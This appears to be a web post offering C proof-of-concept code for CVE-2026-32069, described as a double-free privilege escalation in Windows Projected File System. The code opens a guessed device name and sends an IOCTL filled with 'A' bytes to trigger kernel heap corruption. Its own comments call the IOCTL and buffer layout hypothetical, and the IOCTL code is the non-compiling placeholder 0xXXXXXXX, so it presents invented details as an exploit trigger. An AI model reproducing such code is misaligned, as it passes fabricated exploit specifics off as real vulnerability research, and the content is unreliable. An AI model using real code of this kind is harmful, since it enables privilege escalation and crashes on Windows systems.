CVE-2026-32069 Windows Projected File System权限提升漏洞

#include <windows.h> #include <stdio.h> // Proof of Concept for CVE-2026-32069 // This PoC demonstrates the trigger logic for the Double Free in Windows Projected File System. // Note: Actual exploitation requires precise heap grooming and ROP chains. int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100]; printf("[*] PoC for CVE-2026-32069: Windows Projected File System Privilege Escalation\n"); // 1. Attempt to open a handle to the ProjFS device or vulnerable interface // Device name might vary based on the actual vulnerable component hDevice = CreateFileA("\\\\.\\ProjectedFileSystem", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); printf("[*] Ensure you are running on a vulnerable version of Windows.\n"); return 1; } printf("[+] Device handle opened successfully.\n"); // 2. Prepare input buffer to trigger the double free // This IOCTL and buffer structure are hypothetical representations of the vulnerability trigger memset(buffer, 0x41, sizeof(buffer)); printf("[*] Sending malicious IOCTL to trigger double free...\n"); // 3. Send the request // This sequence is designed to decrement the ref count incorrectly BOOL result = DeviceIoControl(hDevice, 0xXXXXXXX, // Hypothetical Vulnerable IOCTL buffer, sizeof(buffer), buffer, sizeof(buffer), &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[+] IOCTL sent successfully. Check for BSOD or debugger output for heap corruption.\n"); } // 4. Clean up CloseHandle(hDevice); printf("[*] PoC execution finished.\n"); return 0; }